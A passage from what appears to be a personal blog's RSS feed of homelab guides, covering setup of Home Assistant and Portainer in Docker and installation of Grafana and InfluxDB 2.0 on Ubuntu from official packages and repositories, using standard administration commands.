&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir ~/home-assistant
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="platform-installation"&gt;
Platform Installation
&lt;a href="#platform-installation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Installation with Docker is straightforward. Adjust the following command so that &lt;code&gt;~/home-assistant&lt;/code&gt; points at the folder you created to store your configuration and run it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker run --init -d &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --name homeassistant &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --restart&lt;span style="color:#f92672"&gt;=&lt;/span&gt;unless-stopped &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v /etc/localtime:/etc/localtime:ro &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v ~/home-assistant:/config &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --network&lt;span style="color:#f92672"&gt;=&lt;/span&gt;host &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; homeassistant/home-assistant:stable
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once the Home Assistant Container is running Home Assistant should be accessible using http://ip-server:8123 (replace with the hostname or IP of the system). You can continue with onboarding.&lt;/p&gt;
&lt;h2 id="restart-home-assistant"&gt;
Restart Home Assistant
&lt;a href="#restart-home-assistant" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If we need to change the configuration we have to restart the server. We can do that with 3 ways:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;In your Home Assistant UI go to the &lt;strong&gt;Configuration&lt;/strong&gt; panel -&amp;gt; &lt;strong&gt;Server management&lt;/strong&gt; and click the &lt;strong&gt;Restart&lt;/strong&gt; button.&lt;/li&gt;
&lt;li&gt;You can go to the &lt;strong&gt;Developer Tools&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Services&lt;/strong&gt;, select the service &lt;code&gt;homeassistant.restart&lt;/code&gt; and click &lt;strong&gt;Call Service&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Restart it from a terminal.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker restart homeassistant
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="onboarding-home-assistant"&gt;
Onboarding Home Assistant
&lt;a href="#onboarding-home-assistant" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;After that the container is running if we access http://ip-server:8123 we get to configure the installation by creating an account and configuring to our liking. The steps are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create an administrator account that will be the owner of Home Assistant. Enter a name, username, password and click on &lt;strong&gt;create account&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Next, you can enter a name for your home and set your location and unit system. You can click &lt;strong&gt;Detect&lt;/strong&gt; to find your location, or you can manually add if you don&amp;rsquo;t want to send your location.&lt;/li&gt;
&lt;li&gt;In the next scree, you can choose which data you want to share with Home Assistant.&lt;/li&gt;
&lt;li&gt;Next, Home Assistant will show any devices that it discovers on the local network and will suggest some integrations to install. You can select none and install them later.&lt;/li&gt;
&lt;li&gt;Finally, click &lt;strong&gt;Finish&lt;/strong&gt; and you shall be brought to the Home Assistant home screen.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now you can go to the &lt;strong&gt;Configuration&lt;/strong&gt; tab and in the &lt;strong&gt;Integrations&lt;/strong&gt; section to install any integration either found from your network or manually adding it.&lt;/p&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.home-assistant.io/installation/linux#install-home-assistant-container"&gt;Home Assistant - Install Home Assistant Container&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.home-assistant.io/getting-started/onboarding/"&gt;Home Assistant - Onboarding Home Assistant&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Portainer Install</title><link>https://thanoskoutr.com/posts/portainer-install/</link><pubDate>Tue, 15 Jun 2021 15:41:44 +0300</pubDate><guid>https://thanoskoutr.com/posts/portainer-install/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/portainer.gif"/&gt;
&lt;p&gt;In this post, we will see how we can run Portainer in order to manage our Docker containers. Portainer offers a Web UI that we can use to build and manage containers in Docker, Swarm, Kubernetes and Azure ACI. If you have not already, see how to &lt;a href="https://thanoskoutr.com/posts/docker-install/"&gt;install Docker on your Ubuntu/Debian server&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Portainer comes in two flavours &lt;strong&gt;Portainer CE&lt;/strong&gt; and &lt;strong&gt;Portainer Business&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Portainer CE is open source, free forever and used by more than 500,000 developers worldwide.&lt;/li&gt;
&lt;li&gt;Portainer Business builds on CE and adds business related functionality.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We will deploy Portainer CE on our Ubuntu Server using Docker containers. Portainer is comprised of two elements, the &lt;strong&gt;Portainer Server&lt;/strong&gt;, and the &lt;strong&gt;Portainer Agent&lt;/strong&gt;. We will run only the Portainer Server without the Portainer Agent for simplicity as we don&amp;rsquo;t need the features of the Agent right now.&lt;/p&gt;
&lt;h2 id="portainer-deployment"&gt;
Portainer Deployment
&lt;a href="#portainer-deployment" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Use the following Docker commands to deploy the Portainer Server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker volume create portainer_data
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker run -d -p 8000:8000 -p 9443:9443 --name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;portainer --restart&lt;span style="color:#f92672"&gt;=&lt;/span&gt;always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The first command creates a new &lt;code&gt;portainer_data&lt;/code&gt; volume under &lt;code&gt;/var/lib/docker/volumes&lt;/code&gt; in order to store persisting data for the docker container.&lt;/p&gt;
&lt;p&gt;The second commands starts the docker container and binds the host&amp;rsquo;s &lt;code&gt;8000&lt;/code&gt; and &lt;code&gt;9443&lt;/code&gt; ports:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;9443&lt;/code&gt; is used for the Portainer Web UI&lt;/li&gt;
&lt;li&gt;&lt;code&gt;8000&lt;/code&gt; is optional and only needed if we plan to use the Edge compute features with Edge agents&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="initial-set-up"&gt;
Initial Set Up
&lt;a href="#initial-set-up" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Once Portainer is deployed and you have navigated to http://ip-server:9443, you will see the following screens:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The first thing to do is set a password for the admin user. This password needs to be at least eight characters long.&lt;/li&gt;
&lt;li&gt;You can disable the collection of statistics if you want.&lt;/li&gt;
&lt;li&gt;We will choose to Connect Portainer to manage the local Docker environment.&lt;/li&gt;
&lt;li&gt;Once the appropriate option is selected, click connect. If everything works as expected, You will then be shown the Portainer home page.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="upgrading-to-latest-version"&gt;
Upgrading to latest version
&lt;a href="#upgrading-to-latest-version" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If there is a newer version available, to upgrade we need to remove the current container and pull the new image.&lt;/p&gt;
&lt;p&gt;First, stop the container:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker stop portainer
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and remove it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker rm portainer
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also remove the used image:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker rmi portainer/portainer-ce:latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can run the container again and it will pull the latest image:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker run -d -p 8000:8000 -p 9443:9443 --name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;portainer --restart&lt;span style="color:#f92672"&gt;=&lt;/span&gt;always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://documentation.portainer.io/"&gt;Portainer - Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://documentation.portainer.io/v2.0/deploy/ceinstalldocker/"&gt;Portainer - Deploying Portainer CE in Docker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://documentation.portainer.io/v2.0/deploy/initial/"&gt;Portainer - Initial Set Up&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.portainer.io/v/ce-2.11/start/upgrade/docker"&gt;Portainer - Upgrading on Docker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Grafana Configure</title><link>https://thanoskoutr.com/posts/grafana-configure/</link><pubDate>Tue, 15 Jun 2021 14:31:41 +0300</pubDate><guid>https://thanoskoutr.com/posts/grafana-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/grafana.png"/&gt;
&lt;p&gt;In this post, we will see how we can install Grafana in our Ubuntu Server. Grafana is an open-source data visualization and monitoring tool that can easily be integrated with other tools.&lt;/p&gt;
&lt;p&gt;We will install Grafana in our server as a service and not in a container.&lt;/p&gt;
&lt;p&gt;We have more than one way to install Grafana:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By downloading the Linux binary&lt;/li&gt;
&lt;li&gt;By downloading and installing the &lt;code&gt;.deb&lt;/code&gt; package&lt;/li&gt;
&lt;li&gt;By installing from the official repository&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We will show the last method, because we don&amp;rsquo;t have to manually update the package ourselves.&lt;/p&gt;
&lt;h2 id="install-from-official-repository"&gt;
Install from official repository
&lt;a href="#install-from-official-repository" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We can simply, add the Grafana repository to our system and install the new versions when they release with the rest of the packages in our system.&lt;/p&gt;
&lt;p&gt;We firstly have to install some dependencies:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install -y apt-transport-https
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install -y software-properties-common wget
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can add the Grafana key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget -q -O - https://packages.grafana.com/gpg.key | sudo apt-key add -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And add the repository for stable releases:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;deb https://packages.grafana.com/oss/deb stable main&amp;#34;&lt;/span&gt; | sudo tee -a /etc/apt/sources.list.d/grafana.list
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can update the packages, and install &lt;code&gt;grafana&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install grafana
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="start-the-server"&gt;
Start the Server
&lt;a href="#start-the-server" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;After the installation, we need to start the &lt;code&gt;grafana-server&lt;/code&gt; as the &lt;code&gt;grafana&lt;/code&gt; server.&lt;/p&gt;
&lt;p&gt;We will start the service with &lt;code&gt;systemd&lt;/code&gt; and verify it started:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl daemon-reload
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl start grafana-server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl status grafana-server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can configure the Grafana server to start at boot:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl enable grafana-server.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="package-details"&gt;
Package Details
&lt;a href="#package-details" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;When installed as a service, Grafana utilizes the following locations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Installs binary to &lt;code&gt;/usr/sbin/grafana-server&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Installs Init.d script to &lt;code&gt;/etc/init.d/grafana-server&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Creates default file (environment vars) to &lt;code&gt;/etc/default/grafana-server&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Installs configuration file to &lt;code&gt;/etc/grafana/grafana.ini&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Installs systemd service (if systemd is available) name &lt;code&gt;grafana-server.service&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The default configuration sets the log file at &lt;code&gt;/var/log/grafana/grafana.log&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The default configuration specifies a SQLite3 db at &lt;code&gt;/var/lib/grafana/grafana.db&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Installs HTML/JS/CSS and other Grafana files at &lt;code&gt;/usr/share/grafana&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="log-in"&gt;
Log In
&lt;a href="#log-in" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;To log in to Grafana for the first time:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open your web browser and go to http://localhost:3000/. The default HTTP port that Grafana listens to is &lt;code&gt;3000&lt;/code&gt; unless you have configured a different port.&lt;/li&gt;
&lt;li&gt;On the login page, enter &lt;code&gt;admin&lt;/code&gt; for username and password.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Log in&lt;/strong&gt;. If login is successful, then you will see a prompt to change the password.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;OK&lt;/strong&gt; on the prompt, then change your password&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="configuration"&gt;
Configuration
&lt;a href="#configuration" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Grafana has a number of configuration options that you can specify in a &lt;code&gt;.ini&lt;/code&gt; configuration file or specified using environment variables.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: You must restart Grafana for any configuration changes to take effect.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="config-file-locations"&gt;
Config file locations
&lt;a href="#config-file-locations" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Do not change &lt;code&gt;defaults.ini&lt;/code&gt;! Grafana defaults are stored in this file. Depending on your OS, make all configuration changes in either &lt;code&gt;custom.ini&lt;/code&gt; or &lt;code&gt;grafana.ini&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Default configuration from &lt;code&gt;$WORKING_DIR/conf/defaults.ini&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Custom configuration from &lt;code&gt;$WORKING_DIR/conf/custom.ini&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The custom configuration file path can be overridden using the &lt;code&gt;--config parameter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the &lt;strong&gt;Linux installation&lt;/strong&gt; the configuration file is located at &lt;code&gt;/etc/grafana/grafana.ini&lt;/code&gt; and a separate &lt;code&gt;custom.ini&lt;/code&gt; is not used. This path is specified in the Grafana &lt;code&gt;init.d&lt;/code&gt; script using &lt;code&gt;--config&lt;/code&gt; file parameter.&lt;/p&gt;
&lt;p&gt;Refer to the &lt;a href="https://grafana.com/docs/grafana/latest/administration/configuration/"&gt;Grafana Doc&amp;rsquo;s Configuration&lt;/a&gt; page for every setting and configuration that you want to change.&lt;/p&gt;
&lt;h3 id="secure-configuration"&gt;
Secure Configuration
&lt;a href="#secure-configuration" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If you want to secure your Grafana installation, by enabling HTTPS and using only authenticated users you can follow the Digital Ocean Guide on &lt;a href="https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-grafana-on-ubuntu-18-04"&gt;How To Install and Secure Grafana on Ubuntu 18.04&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://grafana.com/docs/grafana/latest/installation/debian/"&gt;Grafana - Install on Debian or Ubuntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://grafana.com/docs/grafana/latest/getting-started/getting-started/"&gt;Grafana - Getting Started&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://grafana.com/docs/grafana/latest/administration/configuration/"&gt;Grafana - Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-grafana-on-ubuntu-18-04"&gt;How To Install and Secure Grafana on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>InfluxDB Configure</title><link>https://thanoskoutr.com/posts/influxdb-configure/</link><pubDate>Mon, 14 Jun 2021 21:13:52 +0300</pubDate><guid>https://thanoskoutr.com/posts/influxdb-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/influxdb.gif"/&gt;
&lt;p&gt;In this post, we will see how we can install the latest version of InfluxDB (ver 2.0) in our Ubuntu Server. With the new version there’s only one thing to download and install and we can avoid installing the TICK Stack (Telegraf, InfluxDB, Chronograf, Kapacitor).&lt;/p&gt;
&lt;p&gt;The new version is not a simple time-series database anymore, but also a platform for querying, visualization and data manipulation.&lt;/p&gt;
&lt;p&gt;We have more than one way to install InfluxDB 2.0:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By downloading the Linux binary&lt;/li&gt;
&lt;li&gt;By downloading the &lt;code&gt;.deb&lt;/code&gt; package and installing it as a service&lt;/li&gt;
&lt;li&gt;By installing from the official repository&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We will show the last two methods.&lt;/p&gt;
&lt;h2 id="download-the-deb-package"&gt;
Download the deb package
&lt;a href="#download-the-deb-package" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;You can find the latest downloads on the &lt;a href="https://portal.influxdata.com/downloads/"&gt;InfluxDB 2.0 Download page&lt;/a&gt; and download the latest &lt;code&gt;.deb&lt;/code&gt; package for &lt;strong&gt;Ubuntu &amp;amp; Debian&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;For the &lt;code&gt;2.0.7&lt;/code&gt; version you can run the following to download the &lt;code&gt;.deb&lt;/code&gt; package and install it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://dl.influxdata.com/influxdb/releases/influxdb2-2.0.7-amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo dpkg -i influxdb2-2.0.7-amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Start the InfluxDB service:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo service influxdb start
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Installing the InfluxDB package creates a service file at &lt;code&gt;/lib/systemd/system/influxdb.service&lt;/code&gt; to start InfluxDB as a background service on startup.&lt;/p&gt;
&lt;p&gt;Restart your system:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo reboot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And verify that the service is running correctly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo service influxdb status
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When installed as a service, InfluxDB stores data in the following locations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Time series data: &lt;code&gt;/var/lib/influxdb/engine/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Key-value data: &lt;code&gt;/var/lib/influxdb/influxd.bolt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;influx CLI configurations: &lt;code&gt;~/.influxdbv2/configs&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="install-from-official-repository"&gt;
Install from official repository
&lt;a href="#install-from-official-repository" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;This method is similar to the previous one, but the main advantage is that we don&amp;rsquo;t have to manually download the &lt;code&gt;.deb&lt;/code&gt; package and have the responsibility to manually download the next updated &lt;code&gt;.deb&lt;/code&gt; packages and upgrade them ourselves.&lt;/p&gt;
&lt;p&gt;We can simply, add the InfluxDB repository to our system and install the new versions when they release with the rest of the packages in our system.&lt;/p&gt;
&lt;p&gt;To do that, we firstly have to add the InfluxDB key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo curl -sL https://repos.influxdata.com/influxdb.key | sudo apt-key add -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And create a repository file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo echo &lt;span style="color:#e6db74"&gt;&amp;#34;deb https://repos.influxdata.com/ubuntu bionic stable&amp;#34;&lt;/span&gt; | sudo tee /etc/apt/sources.list.d/influxdb.list
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can update the packages, and install &lt;code&gt;influxdb2&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt update
